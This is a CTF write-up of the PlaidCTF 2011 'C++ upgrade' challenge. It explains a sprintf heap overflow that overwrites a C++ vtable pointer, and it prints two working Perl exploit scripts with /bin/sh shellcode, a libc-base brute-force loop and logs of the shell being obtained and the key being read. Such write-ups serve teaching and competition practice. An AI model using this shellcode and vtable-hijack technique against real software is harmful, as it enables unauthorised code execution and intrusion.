Joel Eriksson
Vulnerability researcher, exploit developer and reverse-engineer. Have spoken at BlackHat, DefCon and the RSA conference. CTF player. Puzzle solver (Cicada 3301, Boxen)

PlaidCTF 2011 – 20 – C++ upgrade – 300 pts

This is my writeup for the twentieth challenge in the PlaidCTF 2011 competition. The information for the challenge was:
“They have an update for the vulnerable C++ program trying to fix the bug.
However, the coders at AED suck and introduced another stupid mistake.
Get a shell (and the key, too.)
ssh username@a5.amalgamated.biz”

Since this challenge is about exploiting a C++ program, I immediately think vtable overwrite. Not surprisingly, I’m right. :) For those of you not familiar with how C++ code looks at the assembly level I can tell you that it can be quite a mess to reverse-engineer, due to lots of indirection. When calling virtual member functions, e.g. functions that may be overridden by classes that inherit from a base class, a vtable (virtual table) is used to determine what function to call. The vtable is simply a pointer to an array of function pointers, with each offset into the array representing a different virtual function, stored in the beginning of the object.

Even though this may make things slightly less straight forward when debugging and reverse-engineering, it can actually be quite handy for an exploit developer such as myself. Let’s say we have a heapbased overflow in an application with a reasonably secure malloc() implementation (e.g. most ones on mainstream desktop/server operating systems nowadays). In the good old days we could easily turn a heapbased overflow into a write-4-anywhere primitive by overwriting malloc chunk headers.

Nowadays we have to deal with a lot of integrity checks, such as the safe unlink() that ensures that p->next->prev == p && p->prev->next == p when taking a chunk p off its current free chunk list. Small chunks are usually stored in a single-linked list instead, which makes this kind of check impossible. :) With all the heap integrity checks and exploit mitigation mechanisms of today we are usually better off using an application dependent attack than trying to defeat all of them though.

In this case, we have two classes (Awesomeness and EpicFailure), inheriting from the same base class with one virtual function. It just so happens that before the call to this virtual function there is an overflow due to a sprintf() to a buffer in the Awesomeness-object. There is also another overflow, due to a strcpy() to a buffer in the EpicFailure object but this will not be needed. This is the decompiled code of the relevant function:

int __cdecl Awesomeness_UploadPoints(Awesomeness *awsmObj, int pts, const char *arg1)
{
  sprintf(awsmObj->buf, "Uploading... [%s]: %d pts\n", arg1, pts);
  memcpy(buf_in_bss, awsmObj->buf, 50u);
  (*(void (__cdecl **)(_DWORD, _DWORD))awsmObj->vtbl)(awsmObj, buf_in_bss);
  return DoUpload();
}

Note that the data is also copied into a static global buffer (buf_in_bss), this will come very much in handy due to the nature of a vtable overflow. Remember that a vtable pointer is actually a pointer to an array of function pointers? That means we will have to overwrite it with not just the pointer to our shellcode, but to a pointer that at a certain offset (in this case zero) contains the pointer to our shellcode. We have an extra level of indirection, which makes attacker controlled data at fixed addresses very useful.

Anyway. Let’s see what happens after the overflow. First, in the main() function:

  Awesomeness_UploadPoints(_AwesomenessObj, arg2, *(const char **)(*(_DWORD *)(v9 + 4) + 4));
  if ( arg3 & 1 )
    EpicFailure_Report((int)EpicFailureObj, *(const char **)(*(_DWORD *)(v10 + 4) + 16));

Then in the decompiled EpicFailure_Report() function:

void __cdecl EpicFailure_Report(EpicFailure *failObj, const char *src)
{
  strcpy(failObj->buf, src);
  (*(void (__cdecl **)(_DWORD, _DWORD))failObj->vtbl)(failObj, src);
  EpicFailure_SendReport(failObj);
}

Since the EpicFailure object is allocated after the Awesomeness object, the sprintf() overflow will overwrite the vtable pointer in the EpicFailure object, we can use the call via failObj->vtbl to control EIP by now. To do this we simply need to overflow the vtable pointer with the address to buf_in_bss+strlen(“Uploading… [“), put the address to buf_in_bss+strlen(“Uploading… [“)+4 in the beginning of the first command line argument and the address of something we want to be executed right after it.

The executable has NX enabled, but since the box does not have any hardware NX support we can still execute code in the .bss segment for instance, so in this case we can simply put our shellcode in the buf_in_bss buffer as well. My final exploit looks like this:

cpp2_201@a5:~$ cat > cpp2-xpl.pl
#!/usr/bin/perl

my $code =
    "\xeb\x10".                   #   jmp jumpme
                                  # callme:
    "\x5b".                       #   pop %ebx
    "\x31\xd2".                   #   xor %edx,%edx
    "\x88\x53\x07".               #   mov %dl,0x7(%ebx)
    "\x52".                       #   push    %edx
    "\x53".                       #   push    %ebx
    "\x89\xe1".                   #   mov %esp,%ecx
    "\x31\xc0".                   #   xor %eax,%eax
    "\xb0\x0b".                   #   mov $0xb,%al
    "\xcd\x80".                   #   int $0x80
                                  # jumpme:
    "\xe8\xeb\xff\xff\xff".       #   call    callme
    "/bin/sh";                    # .ascii  "/bin/sh"

print
    pack("L",0x80491ae+4),        # call through vtbl -> our code
    $code,"A"x(42-length($code)), # the code we want to execute
    pack("L",0x80491ae);          # vtbl -> our buf in .bss
^D
cpp2_201@a5:~$ /opt/pctf/cpp2/second_cpp `./cpp2-xpl.pl` 1 1 1
Uploading... [���[1҈SRS��1��
                            �����/bin/shAAJob is done!
Your Awesomeness point uploaded!
$ id
uid=4200(cpp2_201) gid=4000(cpp2users) egid=4001(cpp2key) groups=4000(cpp2users)
$ cat /opt/pctf/cpp2/key
It_Wasn7_th4t_DifffficuLt_VVas_1t?

For completeness, I also solved it without relying on being able to execute code in the .bss segment. In this case I had to bruteforce the libc-base and call an internal function called by system(), that contains the command line to be executed in the eax register.

cpp2_201@a5:~$ cat > cpp2-xpl2.pl
#!/usr/bin/perl

my $code =
    "\xeb\x10".                   #   jmp     jumpme
                                  # callme:
    "\x5b".                       #   pop     %ebx
    "\x31\xd2".                   #   xor     %edx,%edx
    "\x88\x53\x07".               #   mov     %dl,0x7(%ebx)
    "\x52".                       #   push    %edx
    "\x53".                       #   push    %ebx
    "\x89\xe1".                   #   mov     %esp,%ecx
    "\x31\xc0".                   #   xor     %eax,%eax
    "\xb0\x0b".                   #   mov     $0xb,%al
    "\xcd\x80".                   #   int     $0x80
                                  # jumpme:
    "\xe8\xeb\xff\xff\xff".       #   call    callme
    "/bin/sh";                    # .ascii  "/bin/sh"

print
    pack("L",0xb74a4ce0),         # call through vtbl -> do_system()
    "A"x42,                       # padding
    pack("L",0x80491ae);          # vtbl -> our buf in .bss
^D
cpp2_201@a5:~$ while true; do /opt/pctf/cpp2/second_cpp `./cpp2-xpl2.pl` 1 1 ';id;sh;'; done
...
Uploading... [�LJ�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done!
Your Awesomeness point uploaded!
Segmentation fault
Uploading... [�LJ�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done!
Your Awesomeness point uploaded!
Segmentation fault
Uploading... [�LJ�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done!
Your Awesomeness point uploaded!
Segmentation fault
Uploading... [�LJ�AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAJob is done!
Your Awesomeness point uploaded!
sh: ��: not found
uid=4200(cpp2_201) gid=4000(cpp2users) egid=4001(cpp2key) groups=4000(cpp2users)
$ cat /opt/pctf/cpp2/key
It_Wasn7_th4t_DifffficuLt_VVas_1t?